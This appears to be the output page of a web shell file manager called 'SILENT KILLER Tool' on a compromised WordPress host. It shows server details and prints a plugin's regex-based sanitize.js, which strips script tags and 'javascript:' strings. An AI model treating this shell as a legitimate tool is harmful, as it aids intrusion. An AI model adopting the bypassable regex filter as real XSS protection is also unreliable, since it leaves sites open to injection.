Current Path: > home > codekrsu > > ameliagraphics.com > wp-content > plugins > extendify > > src > Shared > utils
Operation : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 162.0.232.56 | Your IP: 216.73.216.111 Domains : 1034 Domain(s) Permission : [ 0755 ]
Name | Type | Size | Last Modified | Actions |
---|---|---|---|---|
__tests__ | Directory | - | - | |
get-url-parameter.js | File | 680 bytes | March 13 2025 21:10:44. | |
resize-image.js | File | 1595 bytes | May 12 2025 16:42:28. | |
sanitize.js | File | 540 bytes | March 13 2025 21:10:44. |
export const sanitizeString = (value) => { if (!value) return ''; const DISALLOWED_TAGS = [ 'script', 'iframe', 'object', 'embed', 'form', 'meta', 'link', 'style', 'svg', ]; const DISALLOWED_PATTERNS = [ `<\\/*\\s*(${DISALLOWED_TAGS.join('|')})\\b[^>]*>`, 'javascript:', 'data:', ]; let sanitizedValue = value.trim(); DISALLOWED_PATTERNS.forEach((pattern) => { const patternRegex = new RegExp(pattern, 'gi'); sanitizedValue = sanitizedValue.replace(patternRegex, ''); }); return sanitizedValue; };
SILENT KILLER Tool